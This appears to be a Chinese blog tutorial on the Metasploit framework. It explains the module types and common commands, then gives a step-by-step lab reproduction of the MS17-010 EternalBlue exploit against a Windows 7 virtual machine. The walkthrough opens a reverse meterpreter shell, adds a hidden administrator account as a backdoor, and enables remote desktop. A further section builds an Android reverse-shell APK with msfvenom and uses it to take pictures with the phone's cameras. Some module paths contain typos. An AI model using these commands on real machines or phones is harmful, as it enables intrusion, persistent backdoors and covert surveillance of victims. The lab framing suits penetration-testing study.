Metasploit简介

  • Metasploit框架是一个开源的渗透工具,它是由Ruby语言编写的模块化框架,具有良好的扩展性,通过它可以轻易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
  • 它提供了多个基本的用户接口,包括终端、命令行、图形化等,一般我们使用较多的是终端MSF和图形化的Armitage
  • 它分为社区版和商业版
    apt-get update
    apt-get install metasploit-framework

MSF框架是由多个模块组成的,具体的模块及功能如下:
1、Auxilitaries(辅助模块)
负责执行扫描、嗅探、指纹识别等功能,用来以辅助渗透测试。
2、Exploit(漏洞利用模块)
能利用系统、应用或服务的漏洞进行攻击行为,包括缓冲区溢出、web程序攻击以及配置错误等,该模块包含各种POC验证,用于破坏系统安全的攻击代码。
3、Payload(攻击载荷模块)
攻击载荷是我们期望目标被渗透之后完成实际功能的攻击代码,用于执行任意命令或特定代码,在MSF中可以自由的选择、传送或者植入。
4、Post(后渗透模块)
该模块用于在获取到目标系统的控制权限后,进行一系列的后渗透攻击动作,如获取敏感信息,实施跳板等攻击等。
5、Encoders(编码工具模块)
该模块在渗透中负责编码、免杀、防止被杀软、防火墙、IDS等安全软件检测出来。

大致的攻击步骤

扫描目标系统、寻找漏洞
选择并配置一个漏洞利用模块
选择并配置一个攻击载荷模块
选择一个编码模块,用来绕过杀软查杀
渗透攻击

Metasploit基本使用

情报收集相关模块
敏感目录扫描
auxiliary/scanner/http/brute_dirs
auxiliary/scanner/http/dir_listing
auxilisry/scanner/http://dir_scanner
注意:他们使用暴力枚举的方式进行猜解,因此需要一个字典文件
主机发现
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/udp_sweep
auxiliary/scanner/discovery/udp_probe
用来探测主机存活,在设置rhost的时候可以使用192.168.1.1/24的方式探测网段主机。
服务探测
直接调用Nmap去进行扫描
Nmap -sS -Pn 192.168.1.1 -sV
-sS SYN半连接扫描
-Pn 扫描前不探测
-sV 服务详细版本
单个服务批量探测
端口扫描
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/tcp
auxiliary/scannerportscan/xmas
用来扫描端口
单个服务批量探测
在这里插入图片描述
在这里插入图片描述

常见模块:
在这里插入图片描述
漏洞利用:
exploit/windows/smb/ms17_010_eternalblue
auxiliary/scanner/smb/smb/smb_ms17_010

Metasploit相关术语

渗透攻击(Exploit)
渗透攻击是指由攻击者或渗透测试者利用一个系统,应用或服务中的安全漏洞,所进行的攻击行为。攻击者使用渗透攻击去入侵系统时,往往会造成开发者所没有预期的一种特殊结果。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(比如SQL注入),以及利用配置错误等。
攻击载荷(Payload)
攻击载荷是我们期望目标系统在被渗透攻击之后去执行的代码,在Metasploit框架中可以自由的选择、传送和植入。例如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令shell的攻击载荷,而bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互,攻击载荷也可能是简单的在目标操作系统上执行一些命令,如添加用户账号等。
监听器(Listener)
监听器是Metasploit中用来等待连入网路连接的组件,举例来说,在目标主机被渗透攻击后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
Schellcode
Schellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写,在大多数情况下,目标系统执行了Shellcode这一组指令之后,才会提供一个命令行shell或者Meterpreter shell,这也是Shellcode名称的由来
模块(Module)
模块是指Metaspoit框架中所使用的一段软件代码组件,在某些时候,你可能会使用一个渗透攻击模块(exploit module),也就是用于实际发起渗透攻击的软件组件,而在其他时候,则可能使用一个辅助模块(auxiliary module),用来执行一些诸如扫描或系统查点的攻击动作。这些在不断变化和发展中的模块才是使Metasploit框架如此强大的核心所在。
常用命令
search 查找关键字
use 模块名 使用模块
show options 查看参数选项
set 选项 参数 设置参数
show payloads 显示所有payload
session -i 列出会话列表
back 返回上一层
session -i 会话id 选择会话
session -k 会话id 杀掉会话
show targets 显示目标os版本
set target 目标序号 选择目标系统
show auxiliary 显示辅助模块
ctrl+z 把会话放在后台
ctrl+c 终止会话

永恒之蓝漏洞简介

永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,使全世界大范围内遭受了该勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任意操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖掘机等恶意程序。
漏洞编号:ms17-010
影响范围:目前已经受影响的Windows版本包括但不限于:Windows NT,Windows2000、Windows XP、Windows2001、WindowsVista、Windows 7、Windows 8、Windows 2008、WidowsR2、Windows Server 2012 SPO
虚拟机需要安装一个Windows 7 x64 的克隆的虚拟机
注意:如果虚拟机不能使用,修改里面后缀为vmx的文件,将virtualHW.version="18"改为virtualHW.version=“15”
永恒之蓝漏洞复现
漏洞描述:
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
影响版本:
目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
复现环境:
攻击机:kali 64位 (IP:192.168.149.130)
靶机:Windows 7 x64 的克隆(IP:192.168.149.140)
复现过程:

  1. 测试两台主机的连通性:用kali 去Ping windows 7的主机,来测试连通性:ping 192.168.149.140
    (登录kali linux,用nmap探测靶机 nmap -r 192.168.149.140
    探测到靶机,并探测到开放445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。)
  2. 查看kali 主机数据库是否开启:service postgresql status
  3. 如果关闭则打开kali 主机的数据库: service postgresql start
  4. 进行msfdb 数据库初始化,配置数据库相关信息:msfdb init
  5. 执行命令:msfconsole
  6. 搜索ms17-010代码:search ms17_010
  7. 使用ms17-010扫描模块,对靶机进行扫描
    使用模块
    扫描命令:use auxiliary/scanner/smb/smb_ms17_010
    攻击命令:use exploit/windows/smb/ms17_010_eternalblue
  8. 然后显示所需要的参数 show options
    会发现RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描
  9. 设置靶机ip地址 set rhost 192.168.149.140
  10. 设置攻击载体 set payload windows/x64/meterpreter/reverse_tcp
  11. 设置监听ip地址 set lhost 192.168.149.130
    执行扫描
    run
    执行攻击
    exploit
    可以看到监听IP及端口(WIN)
  12. 持续攻击(种植后门)
    1.显示远程主机系统信息:sysinfo
    2.查看用户身份:getuid
    3.对远程主机当前屏幕进行截图:screenshot
    打开截图所在位置:
    4.获得shell控制台:shell
    上面显示转到C:\Windows\system32目录下,说明已经获得了shell的控制权
    5.进行后门植入(创建新的管理员账户)
    net user hack 123456 /add
    net localgroup administrators hack /add
    net user //查看windows 7本地用户
    net localgroup administrators //查看windows 7本地管理员
    6.开启远程桌面功能
    REGADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /vfDenyTSConnections /t REG_DWORD /d 0 /f
    7.kali 远程桌面连接Win7
    root下: rdesktop192.168.149.140:3389

渗透安卓手机

1.生成apk程序
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5555 R > apk.apk
2.启动msfconsole
3.启动use exploit/multi/handler模块
4.set payload android/meterpreter/reverse_tcp
5.show options
6.set lhost 本机IP
set LPORT 5555
exploit(运行apk程序)
7.查看手机信息sysinfo
8.查看摄像头
meterpreter > webcam_list

  • Back Camera
  • Front Camera

9.启动摄像头拍照
webcam_snap -i 1
webcam_snap -i 2

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐